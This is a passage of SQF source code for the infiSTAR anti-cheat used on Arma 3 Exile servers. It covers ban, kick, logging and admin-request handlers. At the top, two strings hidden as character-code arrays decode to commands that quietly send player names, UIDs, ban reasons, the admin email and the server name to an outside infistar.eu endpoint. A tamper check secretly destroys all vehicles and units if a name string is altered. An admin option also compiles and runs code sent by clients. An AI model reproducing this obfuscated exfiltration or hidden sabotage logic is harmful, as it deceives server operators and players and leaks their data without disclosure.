- if(isNil'BAN_LOG')then{BAN_LOG = toString [39,65,82,77,65,95,76,79,65,68,39,32,99,97,108,108,69,120,116,101,110,115,105,111,110,32,102,111,114,109,97,116,91,39,103,101,116,97,115,121,110,99,37,49,37,104,116,116,112,58,47,47,105,110,102,105,115,116,97,114,46,101,117,47,116,101,108,108,46,112,104,112,63,102,114,111,109,61,37,50,38,110,97,109,101,61,37,51,38,117,105,100,61,37,52,38,114,101,97,115,111,110,61,37,53,38,118,101,114,115,105,111,110,61,37,54,38,115,101,114,118,101,114,110,97,109,101,61,37,55,37,49,39,44,116,111,83,116,114,105,110,103,32,91,49,48,93,44,105,102,40,105,115,78,105,108,39,85,80,68,65,84,69,69,77,65,73,76,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,85,80,68,65,84,69,69,77,65,73,76,125,44,95,110,97,109,101,44,95,117,105,100,44,95,114,101,97,115,111,110,44,105,102,40,105,115,78,105,108,39,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,125,44,115,101,114,118,101,114,110,97,109,101,93,13,10];};
- if(isNil'KICK_LOG')then{KICK_LOG = toString [39,65,82,77,65,95,76,79,65,68,39,32,99,97,108,108,69,120,116,101,110,115,105,111,110,32,102,111,114,109,97,116,91,39,103,101,116,97,115,121,110,99,37,49,37,104,116,116,112,58,47,47,105,110,102,105,115,116,97,114,46,101,117,47,116,101,108,108,107,46,112,104,112,63,102,114,111,109,61,37,50,38,110,97,109,101,61,37,51,38,117,105,100,61,37,52,38,114,101,97,115,111,110,61,37,53,38,118,101,114,115,105,111,110,61,37,54,38,115,101,114,118,101,114,110,97,109,101,61,37,55,37,49,39,44,116,111,83,116,114,105,110,103,32,91,49,48,93,44,105,102,40,105,115,78,105,108,39,85,80,68,65,84,69,69,77,65,73,76,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,85,80,68,65,84,69,69,77,65,73,76,125,44,95,110,97,109,101,44,95,117,105,100,44,95,119,111,114,107,44,105,102,40,105,115,78,105,108,39,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,39,41,116,104,101,110,123,39,39,125,101,108,115,101,123,73,78,70,73,83,84,65,82,86,69,82,83,73,79,78,125,44,115,101,114,118,101,114,110,97,109,101,93];};
- FNC_A3_infiSTARBAN = {
- params[['_name',''],['_uid',''],['_owner',-10],['_reason','']];
- _admins = "+str _admins+";
- if(_uid in _admins)exitWith
- {
- _log = format['%1(%2) PLAYER IS ADMIN - STOPPED BAN FOR: %3',_name,_uid,_reason];
- diag_log _log;
- [_name,_uid,_owner,_log] call FNC_INFISERVERKICK;
- };
- _log = format['BANNED | %1(%2)',_name,_uid];if!(_reason isEqualTo '')then{_log = (_log + ' ' + _reason)};
- if(!isNil'BAN_LOG')then{call compile BAN_LOG;};
- ['BANLOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
- "+_AH_HackLogArrayRND+" pushBack _log;
- '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- if(_owner > 2)then
- {
- [
- '',
- {
- profileNamespace setVariable ['ExilePlayerCnt',((profileNamespace getVariable ['ExilePlayerCnt', 0]) + 1)];
- saveprofileNamespace;
- },
- _owner,
- false
- ] call FN_infiSTAR_S;
- };
- _return = (call FN_GET_SERVERPW) serverCommand format ['#exec ban %1',str _uid];
- if(!_return)then
- {
- _this call FNC_A3_infiSTARTMPBAN;
- };
- };
- FNC_A3_infiSTARBAN = compileFinal ([FNC_A3_infiSTARBAN] call fnc_CompilableString);
- ";
- diag_log format['<infiSTAR.de> %1 - Thread BEFORE MAIN: added !',time];
- diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: adding to main string..',time];
- _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: still compiling...',time];
- _fnc_infiSTAR_PlayerLog = {
- params[['_name',''],['_uid',''],['_owner',-10],['_admin',false]];
- if(_name find ':' != -1)exitWith
- {
- [_name,_uid,'SLOG_SKICK',toArray('Bad Playername : is a bad character! it is used as seperator for extDB2 calls')] call "+_fnc_server_handle_mpmessage+";
- };
- if(_uid select [0,3] == 'DEV')exitWith
- {
- _log = 'Player has no normal UID (usually a UID is ONLY numbers..).';
- [_name,_uid,'HLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _lname = toLower _name;
- if('somethingwentwrong' in [_lname,(toLower _uid)])exitWith
- {
- [_name,_uid,'SLOG_SKICK',toArray('Name and/or UID not allowed!')] call "+_fnc_server_handle_mpmessage+";
- };
- if(_lname find 'infis' != -1)exitWith
- {
- _log = format['BadName: %1 (FAKE)',_name];
- [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _tempbans = call "+_fn_getTempBans+";
- _bantime = missionNameSpace getVariable [format['BANTIME_%1',_uid],0];
- _bantimeleft = _bantime - time;
- if(_bantimeleft > 0)then
- {
- _uid call "+_fnc_removeTempBan+";
- };
- _log = if(_bantime isEqualTo 0)then{'TEMPBANNED'}else{format['TEMPBANNED for %1 more seconds',_bantimeleft]};
- if(_uid in _tempbans)exitWith{[_name,_uid,_owner,_log] call FNC_INFISERVERKICK;};
- "; if(_testserver)then{ _A3AHstring = _A3AHstring + "
- _buildurl = format['http://htmlload.infistar.de/cb.php?uid=%1',_uid];
- _packet1 = format['getasync%1%2%1',toString [10],_buildurl];
- [_name,_uid,_owner,_packet1] spawn {
- params[['_name',''],['_uid',''],['_owner',-10],['_packet1','']];
- _jobid = _packet1 call FN_CALL_LOAD_DLL;
- _packet2 = format['response%1%2%1',toString [10],_jobid];
- _timeout = diag_tickTime + 15;
- _res = '';
- _bad = ['','WAIT','ERROR','URLERROR'];
- waitUntil{
- uiSleep 3;
- _res = _packet2 call FN_CALL_LOAD_DLL;
- !(_res in _bad) || diag_tickTime > _timeout
- };
- if(diag_tickTime > _timeout)exitWith{};
- if!(_res isEqualTo '0')then
- {
- [_name,_uid,_owner,if(_res in ['','1'])then{'BLACKLISTED'}else{format['BLACKLISTED: %1',_res]}] call FNC_A3_infiSTARTMPBAN;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(!_admin)then
- {
- if(_lname in "+str _badNamesFull+")exitWith
- {
- _log = format['BadName: %1 (KICKED)',_x];
- [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- {
- if(_lname find _x != -1)exitWith
- {
- _log = format['BadName: %1 (KICKED)',_x];
- [_name,_uid,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- } forEach "+str _badNamesPartial+";
- _connectedTimes = missionNameSpace getVariable[format['CONNECT_COUNT_%1',_uid],0];
- if(_connectedTimes > 10)then
- {
- _log = format['Reconnected %1 times since the server is running.. duping? connection issues?',_connectedTimes + 1];
- [_name,_uid,'SLOG',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- missionNameSpace setVariable[format['CONNECT_COUNT_%1',_uid],0];
- }
- else
- {
- missionNameSpace setVariable[format['CONNECT_COUNT_%1',_uid],_connectedTimes + 1];
- };
- "; if(_check_steam_ban)then{ _A3AHstring = _A3AHstring + "
- [_name,_uid] spawn FN_CHECK_STEAMBAN;
- "; }; _A3AHstring = _A3AHstring + "
- };
- };
- "+_fnc_infiSTAR_PlayerLog+" = compileFinal ([_fnc_infiSTAR_PlayerLog] call fnc_CompilableString);
- ";
- diag_log format['<infiSTAR.de> %1 - infiSTAR_PlayerLog: added !',time];
- if('infiSTAR' != ('i' +'n' +'f' +'i' +'S' +'T' +'A' +'R'))then{[] spawn {uiSleep (random 500);{_x setDamage 1;}forEach vehicles;uiSleep 10;{_x setDamage 1;}forEach allUnits;};};
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: adding to main string..',time];
- _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: still compiling...',time];
- _fnc_server_handle_mpmessage = {
- params[['_name',''],['_uid',''],['_what','']];
- _admins = "+str _admins+";
- _locDevs = "+str _devs+";
- if(_what isEqualTo 'CLIENT_PING')exitWith
- {
- _clientObject = objectFromnetId (_this select 3);
- _owner = owner _clientObject;
- _steamName = toString(_this select 4);
- missionNameSpace setVariable[format['STEAM_NAME_%1',_uid],_steamName];
- _log = format['#1 Connected: %1(%2) ID: %3 SteamName: %4 [UpTime: %5 - ServerFPS: %6]',_name,_uid,_owner,_steamName,call fnc_getserverTime,diag_fps];
- ['CONNECTLOG',_log] call FNC_A3_CUSTOMLOG;
- _tempbans = call "+_fn_getTempBans+";
- _pid = _this select 5;
- if(_pid in _tempbans)then
- {
- _log = format['Old PlayerUID: %1 is banned on this server. Player BANNED again!',_pid];
- [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _pidi = _this select 6;
- if(_pidi in _tempbans)then
- {
- _log = format['Old infiSTAR PlayerUID: %1 is banned on this server. Player BANNED again!',_pidi];
- [_name,_uid,'BAN',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _logold = toString(_this select 7);
- if!(_logold isEqualTo '')then
- {
- ['DEBUG_CODE',format['DEBUG CODE OF %1(%2): %3',_name,_uid,_logold]] call FNC_A3_RL;
- };
- };
- _owner = _uid call FNC_OWNER_BY_UID;
- if(_what isEqualTo 'SQFScripts')exitWith
- {
- _log = toString(_this select 3);
- ['CLIENT_THREADS',format['DEBUG CODE OF %1(%2): %3',_name,_uid,_log]] call FNC_A3_RL;
- };
- "; if(_DayNightVote)then{ _A3AHstring = _A3AHstring + "
- if(_what isEqualTo 'VOTE')exitWith
- {
- _work = toString(_this select 3);
- if(_work in ['DAY','NIGHT'])exitWith
- {
- [_uid,_work] call fnc_VoteTimeServer;
- };
- };
- "; }; _A3AHstring = _A3AHstring + "
- "; if(_disconnect_dupe_check && !_KYLE_MODE)then{ _A3AHstring = _A3AHstring + "
- if(_what isEqualTo 'DCHECK')exitWith{['',{"+_antidupePVResVar+" = diag_tickTime},_owner,false] call FN_infiSTAR_S;};
- "; }; _A3AHstring = _A3AHstring + "
- if(_what isEqualTo 'AC')exitWith
- {
- if(_uid in _admins)then
- {
- if(_uid in "+_adminsA+")then
- {
- "+_adminsA+" = "+_adminsA+" - [_uid];
- if(_uid in _locDevs)exitWith{};
- _alog = format['%1(%2) | is a normal player now.',_name,_uid];
- ['ADMINLOG',_alog] call FNC_A3_RL;
- if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
- "+_AH_AdmiLogArrayRND+" pushBack _alog;
- "; if(_announce_adminstate_changed)then{ _A3AHstring = _A3AHstring + "
- "; if(_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
- [_name,{systemChat format['%1 - Logged out as admin.',_this];},-2,false] call FN_infiSTAR_S;
- "; }else{; _A3AHstring = _A3AHstring + "
- [_name,{systemChat format['<infiSTAR.de> %1 - Logged out as admin.',_this];},-2,false] call FN_infiSTAR_S;
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- }
- else
- {
- "+_adminsA+" pushBack _uid;
- if(_uid in _locDevs)exitWith{};
- _alog = format['%1(%2) | is an admin again.',_name,_uid];
- ['ADMINLOG',_alog] call FNC_A3_RL;
- if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
- "+_AH_AdmiLogArrayRND+" pushBack _alog;
- "; if(_announce_adminstate_changed)then{ _A3AHstring = _A3AHstring + "
- "; if(_HIDE_FROM_PLAYERS)then{ _A3AHstring = _A3AHstring + "
- [_name,{systemChat format['%1 - Logged in as admin.',_this];},-2,false] call FN_infiSTAR_S;
- "; }else{; _A3AHstring = _A3AHstring + "
- [_name,{systemChat format['<infiSTAR.de> %1 - Logged in as admin.',_this];},-2,false] call FN_infiSTAR_S;
- "; }; _A3AHstring = _A3AHstring + "
- "; }; _A3AHstring = _A3AHstring + "
- };
- infiSTAR_ADMINS = "+_adminsA+";
- 'infiSTAR_ADMINS' call fnc_variable_to_admins;
- infiSTAR_ADMINS = nil;
- };
- };
- _randomNumber = 2673;
- _work = toString(_this select 3);
- if(_what isEqualTo 'BAN')exitWith
- {
- [_name,_uid,_owner,_work] call FNC_A3_infiSTARBAN;
- };
- if(_what isEqualTo 'TMPBAN')exitWith
- {
- [_name,_uid,_owner,_work] call FNC_A3_infiSTARTMPBAN;
- if(count _this > 4)then
- {
- _bantime = _this select 4;
- missionNameSpace setVariable [format['BANTIME_%1',_uid],_bantime];
- };
- };
- _mytime = call fnc_getserverTime;
- _steamName = call fnc_getSteamNameIfSaved;
- _log = format['%1 | %2(%3) | %4%5',_steamName,_name,_uid,_mytime,_work];
- if(_steamName isEqualTo '')then{_log = format['%1(%2) | %3%4',_name,_uid,_mytime,_work];};
- if(_what isEqualTo 'ANTI_TP')exitWith
- {
- [_what,_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
- "+_AH_SurvLogArrayRND+" pushBack _log;
- '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- };
- if(_what isEqualTo 'SLOG_GLITCH')exitWith
- {
- ['GLITCH_LOG',_log] call FNC_A3_CUSTOMLOG;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
- "+_AH_SurvLogArrayRND+" pushBack _log;
- '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- if(count _this > 4)then
- {
- _victim = _this select 4;
- _clientOwner = _this select 5;
- _serverOwner = owner _victim;
- moveOut _victim;
- _victim action ['eject', (vehicle _victim)];
- ['',{ExileClientIsHandcuffed = true;},_clientOwner,false] call FN_infiSTAR_S;
- _victim setVariable['ExileIsHandcuffed', true, true];
- _victim setVariable['ExileHostageTakernetId', netId _victim];
- _victim setVariable['ExileHostageTakerUID', getPlayerUID _victim];
- ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_loop']] call ExileServer_system_network_send_broadcast;
- _mapgridpos = format['%1:%2',(mapGridPosition _victim) select [0,3],(mapGridPosition _victim) select [3,3]];
- _msg = format['Wallglitcher %1 restrained for 2 minutes at mapGridPosition %2',name _victim,_mapgridpos];
- [_msg,-2] call fnc_serverMassMessage;
- [format['<infiSTAR.de> %1',_msg],{systemChat _this},-2,false] call FN_infiSTAR_S;
- if(isNull _victim)exitWith{};
- _code = {
- params[['_victim',objNull]];
- if(isNull _victim)exitWith{};
- if(!alive _victim)exitWith{};
- if(!isPlayer _victim)exitWith{};
- if!(_victim getVariable['ExileIsHandcuffed', false])exitWith{};
- ['switchMoveRequest', [netId _victim, 'Acts_AidlPsitMstpSsurWnonDnon_out']] call ExileServer_system_network_send_broadcast;
- _victim setVariable['ExileIsHandcuffed', false, true];
- _victim setVariable['ExileHostageTakernetId', nil];
- _victim setVariable['ExileHostageTakerUID', nil];
- [
- '',
- {
- ExileClientIsHandcuffed = false;
- ExileClientHostageTaker = objNull;
- if !(ExileClientBreakFreeActionHandle isEqualTo -1) then
- {
- player removeAction ExileClientBreakFreeActionHandle;
- ExileClientBreakFreeActionHandle = -1;
- };
- },
- _this select 1,
- false
- ] call FN_infiSTAR_S;
- };
- [120, _code, [_victim,_serverOwner], false] call ExileServer_system_thread_addTask;
- };
- };
- if(_what isEqualTo 'HLOG_VAC')exitWith
- {
- ['VAC_LOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
- "+_AH_HackLogArrayRND+" pushBack _log;
- '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- };
- if(_what in ['SLOG_SKICK','HLOG_SKICK'])then{if(!isNil'KICK_LOG')then{call compile KICK_LOG;};};
- if(_what in ['SLOG','SLOG_SKICK'])exitWith
- {
- ['SURVEILLANCELOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_SurvLogArrayRND+" > 99)then{"+_AH_SurvLogArrayRND+" deleteAt 0;};
- "+_AH_SurvLogArrayRND+" pushBack _log;
- '"+_AH_SurvLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- if(_what isEqualTo 'SLOG_SKICK')exitWith{[_name,_uid,_owner,format['%1: %2',_what,_log]] call FNC_INFISERVERKICK;};
- };
- if(_what in ['HLOG','HLOG_SKICK','EXPERIMENTAL_DUPE_CHECK'])exitWith
- {
- [_what,_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_HackLogArrayRND+" > 99)then{"+_AH_HackLogArrayRND+" deleteAt 0;};
- "+_AH_HackLogArrayRND+" pushBack _log;
- '"+_AH_HackLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- if(_what isEqualTo 'HLOG_SKICK')exitWith{[_name,_uid,_owner,format['%1: %2',_what,_log]] call FNC_INFISERVERKICK;};
- };
- };
- "+_fnc_server_handle_mpmessage+" = compileFinal ([_fnc_server_handle_mpmessage] call fnc_CompilableString);
- ";
- diag_log format['<infiSTAR.de> %1 - fnc_server_handle_mpmessage: added !',time];
- diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: adding to main string..',time];
- _A3AHstring = _A3AHstring + "
- diag_log format['<infiSTAR.de> %1 - fnc_AdminReqReal: still compiling...',time];
- _fnc_AdminReqReal = {
- private['_admins','_ObjFromnetId','_serverUID','_clientName','_clientID','_option'];
- params[['_tokenreceived',''],['_clientUID',''],['_clientnetId','0:0'],['_array',[]]];
- if(typename _tokenreceived != 'STRING')exitWith{_log = format['AdminReqReal ERROR 1: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_tokenreceived isEqualTo '')exitWith{_log = format['AdminReqReal ERROR 2: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _clientUID != 'STRING')exitWith{_log = format['AdminReqReal ERROR 3: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_clientUID in ['',' ','0'])exitWith{_log = format['AdminReqReal ERROR 4: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _clientnetId != 'STRING')exitWith{_log = format['AdminReqReal ERROR 5: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_clientnetId in ['','0:0'])exitWith{_log = format['AdminReqReal ERROR 6: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(typename _array != 'ARRAY')exitWith{_log = format['AdminReqReal ERROR 7: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- if(_array isEqualTo [])exitWith{_log = format['AdminReqReal ERROR 8: %1',_this];['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;};
- _admins = "+str _admins+";
- _exit = false;
- _serverUID = missionNameSpace getVariable[format['"+_uid_by_token+"%1',_tokenreceived],''];
- _clientName = missionNameSpace getVariable[format['"+_name_by_uid+"%1',_serverUID],''];
- if(_serverUID isEqualTo '')exitWith
- {
- _log = format['AdminReqReal - SERVER UID WRONG! clientUID: %1 - serverUID: %2',_clientName,_clientUID,_serverUID];
- [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _clientID = _serverUID call FNC_OWNER_BY_UID;
- if!(_serverUID isEqualTo _clientUID)exitWith
- {
- _log = format['AdminReqReal - SERVER RESOLVED UID! clientUID: %1 - serverUID: %2',_clientUID,_serverUID];
- [_clientName,_serverUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- [_clientName,_clientUID,'SLOG_SKICK',toArray(_log)] call "+_fnc_server_handle_mpmessage+";
- };
- _ObjFromnetId = objectFromnetId _clientnetId;
- if(isNil '_ObjFromnetId')exitWith
- {
- _log = 'AdminReqReal playerObj is Nil';
- ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
- };
- if(typename _ObjFromnetId != 'OBJECT')exitWith
- {
- _log = format['AdminReqReal ObjFromnetId wrong typename: %1 %2',typename _ObjFromnetId,_ObjFromnetId];
- ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
- };
- if(isNull _ObjFromnetId)then
- {
- _ObjFromnetId = missionNameSpace getVariable[format['"+_object_by_uid+"%1',_clientUID],objNull];
- }
- else
- {
- missionNameSpace setVariable[format['"+_object_by_uid+"%1',_clientUID],_ObjFromnetId];
- missionNameSpace setVariable[format['EXILE_PLAYER_OJECT_%1',_clientUID],_ObjFromnetId];
- _owner = owner _ObjFromnetId;
- if!(_clientID isEqualTo _owner)then
- {
- _log = format['%1(%2) | AdminReqReal - ClientID (%3) != ObjID (%4)',_clientName,_clientUID,_clientID,_owner];
- ['ADMINLOG',_log] call FNC_A3_CUSTOMLOG;
- [_clientName,_clientUID,_owner,_log] call FNC_INFISERVERKICK;
- _exit = true;
- };
- };
- if(_exit)exitWith{};
- _ld = "+str _devs+";
- if!(_clientUID in _admins)exitWith
- {
- _log = format['%1(%2) | AdminReqReal - Attempted to Use the AdminMenu',_clientName,_clientUID];
- ['ADMINLOG',_log] call FNC_A3_RL;
- };
- _option = _array select 0;
- "; if(_LogAdminActions)then{ _A3AHstring = _A3AHstring + "
- if(_option isEqualTo 1234)exitWith
- {
- _log = toString(_array select 1);
- _log = format['%1(%2) | %3',_clientName,_clientUID,_log];
- ['ADMINLOG',_log] call FNC_A3_RL;
- "; if(_enableIngameLogs)then{ _A3AHstring = _A3AHstring + "
- if(count "+_AH_AdmiLogArrayRND+" > 99)then{"+_AH_AdmiLogArrayRND+" deleteAt 0;};
- "+_AH_AdmiLogArrayRND+" pushBack _log;
- '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
- "; }; _A3AHstring = _A3AHstring + "
- };
- "; }; _A3AHstring = _A3AHstring + "
- if(_option isEqualTo 69)exitWith
- {
- _opt = _array select 1;
- _code = _array select 2;
- _code = toString _code;
- _code = compile _code;
- if(_opt isEqualTo 0)exitWith{call _code;['',_code,-2,false] call FN_infiSTAR_S;};
- if(_opt isEqualTo 1)exitWith{call _code;};
- if(_opt isEqualTo 2)exitWith{
- _target = objectFromnetId(_array select 3);
- if(isNil '_target')exitWith{};
- if(typename _target != 'OBJECT')exitWith{};
- if(isNull _target)exitWith{};
- _owner = owner _target;
- if(_owner in [0,-2,2])exitWith{};
- ['',_code,_owner,false] call FN_infiSTAR_S;
- };
- };
- if(_option isEqualTo -668)exitWith
- {
- _clearLog = _array select 1;
- if(_clearLog == 0)then
- {
- "+_AH_HackLogArrayRND+" = [];
- "+_AH_SurvLogArrayRND+" = [];
- ['"+_AH_HackLogArrayRND+"','"+_AH_SurvLogArrayRND+"'] call fnc_variable_to_admins;
- }
- else
- {
- "+_AH_AdmiLogArrayRND+" = [];
- '"+_AH_AdmiLogArrayRND+"' call fnc_variable_to_admins;
- };
- };
- if(_option isEqualTo -667)exitWith
- {
- _uid = _array select 1;
- _uid call "+_fnc_removeTempBan+";
- };
- if(_option isEqualTo -666)exitWith
- {
- _banoption = _array select 1;
- _obj = objectFromnetId (_array select 2);
- _name = name _obj;
- _uid = getPlayerUID _obj;
- _owner = owner _obj;
- _reason = toString(_array select 3);
- if(_banoption isEqualTo 0)then
- {
- [_name,_uid,_owner,_reason] call FNC_A3_infiSTARBAN;
- }
- else
- {
- [_name,_uid,_owner,_reason] call FNC_A3_infiSTARTMPBAN;
- };
- };
- if(_option isEqualTo -665)exitWith
- {
- _obj = objectFromnetId (_array select 1);
- _name = name _obj;
- _uid = getPlayerUID _obj;
- _owner = owner _obj;
- [_name,_uid,_owner,toString(_array select 2)] call FNC_INFISERVERKICK;
- };
- if(_option isEqualTo -664)exitWith
- {
- _target = objectFromnetId (_array select 1);
- ['',{diag_log '<infiSTAR.de> kicked to lobby #2';(findDisplay 46)closeDisplay 0;},(owner _target),false] call FN_infiSTAR_S;
- };
- if(_option isEqualTo -662)exitWith
- {
- private['_inputArray','_case','_input1','_input2'];
- _inputArray = _array select 1;
- if(isNil '_inputArray')exitWith{};
- _case = -1;
- if(typename _inputArray != 'ARRAY')then
- {
- _case = _inputArray;
- }
- else
- {
- _case = _inputArray select 0;
- _input1 = _inputArray select 1;
- _input2 = if(typename (_inputArray select 2) == 'ARRAY')then{toString(_inputArray select 2)}else{_inputArray select 2};
- };
- if(_case == 1)exitWith{(call FN_GET_SERVERPW) serverCommand '#lock';};
- if(_case == 2)exitWith{(call FN_GET_SERVERPW) serverCommand '#unlock';};
- _obj = objectFromnetId _input1;
- _name = name _obj;
- _uid = getPlayerUID _obj;
- _owner = owner _obj;
- _reason = _input2;
- if(_case == 3)exitWith{[_name,_uid,_owner,_reason] call FNC_A3_infiSTARBAN;};
- if(_case == 4)exitWith{[_name,_uid,_owner,_reason] call FNC_INFISERVERKICK;};
- };
- if(_option isEqualTo -4)exitWith
- {
- _veh = objectFromnetId (_array select 1);
- _veh call fnc_deleteObject;
- };
- if(_option isEqualTo -5)exitWith
- {
- _pos = _array select 1;
- _radius = _array select 2;
- _objectsToDelete = nearestObjects [_pos, ['Exile_Construction_Abstract_Static','AbstractConstruction','Exile_Construction_Flag_Static'], _radius];
- _pos set[2,0];
- _crate = 'Exile_Container_SupplyBox' createVehicle _pos;
- _crate setVariable['BIS_enableRandomization',false];
- clearWeaponCargoGlobal _crate;
- clearMagazineCargoGlobal _crate;
- clearBackpackCargoGlobal _crate;
- clearItemCargoGlobal _crate;
- _cargoToAdd = [];
- {
- _objToDelete = _x;
- if(_objToDelete isKindOf 'Exile_Construction_Flag_Static')then
- {
- _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
- if(_objectID != -1)then
- {
- _cargoToAdd pushBack 'Exile_Item_Flag';
- format['deleteTerritory:%1', _objectID] call ExileServer_system_database_query_fireAndForget;
- };
- };
- _type = typeOf _objToDelete;
- if(_objToDelete isKindOf 'AbstractConstruction')then
- {
- if(isNumber(configFile >> 'CfgVehicles' >> _type >> 'exileContainer'))then
- {
- _objToDelete call ExileServer_object_container_database_delete;
- _items = _objToDelete call ExileServer_util_getItemCargo;
- _magazines = magazinesAmmoCargo _objToDelete;
- _weapons = weaponsItemsCargo _objToDelete;
- _containers = _objToDelete call ExileServer_util_getObjectContainerCargo;
- deleteVehicle _objToDelete;
- _objToDelete call ExileServer_object_container_database_delete;
- _filter = ('getText(_x >> ''staticObject'') == _type' configClasses(configFile >> 'CfgConstruction')) select 0;
- _kitMagazine = getText(_filter >> 'kitMagazine');
- _cargoToAdd pushBack _kitMagazine;
- [_crate,_items] call ExileServer_util_fill_fillItems;
- [_crate,_magazines] call ExileServer_util_fill_fillMagazines;
- [_crate,_weapons] call ExileServer_util_fill_fillWeapons;
- [_crate,_containers] call ExileServer_util_fill_fillContainers;
- }
- else
- {
- _objToDelete call ExileServer_object_construction_database_delete;
- _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
- _config = getText (_config >> 'kitMagazine');
- _cargoToAdd pushBack _config;
- };
- };
- if(_objToDelete isKindOf 'Exile_Construction_Abstract_Static')then
- {
- if!(_objToDelete isKindOf 'Exile_Construction_Abstract_Physics')then
- {
- _objectID = _objToDelete getVariable['ExileDatabaseID',-1];
- if(_objectID != -1)then
- {
- _objToDelete call ExileServer_object_construction_database_delete;
- _config = ('(getText(_x >> ''staticObject'') isEqualTo _type)||(getText(_x >> ''upgradeObject'') isEqualTo _type)' configClasses (configFile >> 'CfgConstruction')) select 0;
- _config = getText (_config >> 'kitMagazine');
- _cargoToAdd pushBack _config;
- };
- };
- };
- if(!isNull _objToDelete)then
- {
- if(!isNull _objToDelete)then
- {
- if(isPlayer _objToDelete)exitWith{};
- _objToDelete setDamage 1;
- deleteVehicle _objToDelete;
- };
- };
- } forEach _objectsToDelete;
- if(_cargoToAdd isEqualTo [])then
- {
- deleteVehicle _crate;
- }
- else
- {
- {_crate addItemCargoGlobal [_x,1];} forEach _cargoToAdd;
- };
- };
- if(_option isEqualTo -6)exitWith
- {
- _pos = _array select 1;
- _radius = _array select 2;
- _objectsToDelete = nearestObjects [_pos, ['GroundWeaponHolder','WeaponHolderSimulated','LootWeaponHolder'], _radius];
- {deleteVehicle _x;} forEach _objectsToDelete;
- };
- if(_option isEqualTo -3)exitWith
- {
- _target = objectFromnetId (_array select 1);
- _target setOwner 2;
- _pos = getPos _target;
- _pos set[2,(_pos select 2)+2];
- _target setPos _pos;
- _target setVectorUp [0,0,1];
- [
- _target,
- {
- _target = _this;
- _pos = getPos _target;
- _pos set[2,(_pos select 2)+2];
- _target setPos _pos;
- _target setVectorUp [0,0,1];
- },
- owner _target,
- false
- ] call FN_infiSTAR_S;
- };
- if(_option isEqualTo -1)exitWith
- {
- _pos = _array select 1;
- _pos spawn {
- _pos = _this;
